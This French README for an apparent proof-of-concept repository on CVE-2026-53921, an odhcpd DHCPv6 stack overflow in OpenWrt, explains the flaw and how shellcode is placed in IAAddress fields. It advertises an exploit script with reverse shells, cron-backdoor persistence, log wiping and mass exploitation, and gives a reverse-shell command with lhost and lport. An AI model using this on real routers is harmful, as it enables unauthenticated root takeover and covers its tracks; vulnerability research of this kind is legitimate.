CVE-2026-53921 – Débordement de pile dans odhcpd

⚠️ Uniquement à des fins éducatives et de tests autorisés. Toute utilisation non autorisée est illégale.

---

📖 Présentation de la vulnérabilité

CVE-2026-53921 est un débordement de tampon de pile critique dans le démon odhcpd d’OpenWrt – le serveur DHCPv6/DHCPv4/RA par défaut.

🔍 Comment ça fonctionne

La vulnérabilité se situe dans le code de traitement des messages DHCPv6 d’odhcpd, plus précisément dans les fonctions build_ia() et dhcpv6_ia_handle_IAs().

Analyse technique approfondie

1. La cause racine

Le bug se produit lors de la sérialisation (empaquetage) des paquets de réponse DHCPv6. Lorsque odhcpd répond aux requêtes des clients, il construit la réponse dans un tampon de pile de taille fixe de 512 octets sans vérification adéquate des limites.

// Simplified representation of the vulnerable code

static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
    // ❌ No bounds check before writing
    memcpy(buf + *len, ia->data, ia->length);
    *len += ia->length;
}

2. Déclenchement du débordement

Un attaquant envoie une requête DHCPv6 (ou un Solicit) avec :

• 5 options IA_NA (Identity Association for Non-temporary Address) ou plus, chacune contenant une sous-option IAAddress.
• 22 options IA_PD (Identity Association for Prefix Delegation) ou plus.

Chaque option consomme de l’espace de pile lorsque odhcpd construit sa réponse. Les données accumulées dépassent 512 octets, provoquant le débordement.

3. Deux vecteurs de débordement

---

Vecteur Déclencheur Point de débordement

---

Site 1 5 options IA_NA build_ia() pour IA_NA avec adresses IPv6

Site 2 22 options IA_PD build_ia() pour IA_PD

La cause racine est identique, mais le débordement se produit dans des chemins de code différents, ce qui rend les deux vecteurs également exploitables.

4. Disposition de la mémoire

Stack Layout (simplified):

+-------------------+  <-- High addresses
|    Return Address |  ← Overwritten with attacker-controlled value
+-------------------+
|  Saved Frame Ptr  |
+-------------------+
|  Local Variables  |  ← 512-byte buffer
+-------------------+  <-- Low addresses

L’attaquant écrase l’adresse de retour sauvegardée pour qu’elle pointe vers son shellcode en mémoire.

5. Exigences d’exploitation

---

Exigence Description

---

Accès réseau L’attaquant doit avoir une connectivité IPv6 vers la cible

Authentification Aucune -- attaque non authentifiée

Privilèges odhcpd s’exécute en tant que root, donc l’RCE accorde le contrôle total du système

Service cible Le port UDP 547 (DHCPv6) doit être ouvert

6. Placement du shellcode

Dans un exploit réel, le shellcode de l’attaquant est placé dans les champs d’adresse IPv6 IAAddress (16 octets par IA_NA). Les paquets malveillants intègrent le shellcode, le NOP sled et l’adresse de retour dans ces champs.

Crafted IA_NA Structure:

+-------------------+
| IA_NA Header      | (12 bytes)
+-------------------+
| IAAddress 1       | ← NOP sled + shellcode
+-------------------+
| IAAddress 2       | ← NOP sled + shellcode
+-------------------+
| IAAddress 3       | ← NOP sled + shellcode
+-------------------+
| IAAddress 4       | ← Return address
+-------------------+
| IAAddress 5       | ← Return address
+-------------------+

7. Chaîne d’impact

Crafted DHCPv6 Request
         ↓
odhcpd processes IA_NA/IA_PD options
         ↓
512-byte stack buffer overflows
         ↓
Return address overwritten
         ↓
CPU jumps to shellcode
         ↓
Reverse shell / Bind shell / RCE
         ↓
Full system compromise (root privileges)

8. Vecteurs d’attaque vs statut de correction

Version Statut RCE possible ?

---

odhcpd < e432dd6 Vulnérable ✅ Oui OpenWrt < 24.10.8 Vulnérable ✅ Oui OpenWrt < 25.12.5 Vulnérable ✅ Oui OpenWrt 24.10.8+ Corrigé ❌ Non OpenWrt 25.12.5+ Corrigé ❌ Non odhcpd master + e432dd6 Corrigé ❌ Non

9. Exploitation dans le monde réel

Cette vulnérabilité est particulièrement dangereuse car :

• odhcpd est activé par défaut sur les installations OpenWrt.
• Aucune authentification n’est requise --- tout appareil sur le même segment IPv6 peut attaquer.
• Le bug se trouve dans le chemin de traitement des requêtes.
• Les canaris de pile et l’ASLR sont rarement présents sur les appareils embarqués MIPS/ARM.
• L’exploit peut contourner les défenses courantes dans de nombreux environnements embarqués.

🎯 Versions affectées

Composant	Versions vulnérables	Corrigé dans
odhcpd (branche master)	avant le commit e432dd6	e432dd6 ou ultérieur
Versions OpenWrt	< 24.10.8 < 25.12.5	24.10.8 & 25.12.5

---

🧰 Outils

Ce dépôt fournit deux scripts indépendants :

Script	Objectif	Code d’exploit	Sécurité
verifier.py	Vérification de vulnérabilité non intrusive	❌ Non	✅ Sûr
exploit.py	Exploit complet et armé	✅ Oui	⚠️ Dangereux

🔎 verifier.py – Vérificateur de vulnérabilité

• Envoie un Solicit DHCPv6 standard pour vérifier que le service est actif.
• Lit les bannières HTTP/SSH pour détecter la version d’OpenWrt.
• Compare la version avec la plage connue comme vulnérable.
• N’envoie aucun payload de débordement ni shellcode.

💥 exploit.py – Exploit complet

• Vecteurs de débordement doubles : IA_NA (Site1) et IA_PD (Site2).
• Détection automatique de l’architecture (MIPS / ARM).
• Shellcodes reverse et bind MIPS big-endian.
• Prise en charge du proxy SOCKS5.
• Persistance (backdoor cron) et nettoyage des journaux.
• Scan multithread et exploitation de masse.
• Encodage de payload optionnel (XOR).

---

🚀 Installation

git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.

📝 Utilisation

🔍 Vérificateur – vérifier si une cible est vulnérable

sudo python3 verifier.py -u fe80::1%eth0 -i eth0

💥 Exploit – obtenir un shell inverse (ne pas utiliser pour des activités illégales, uniquement pour des tests avancés)

sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444

⚙️ Options de la ligne de commande

verifier.py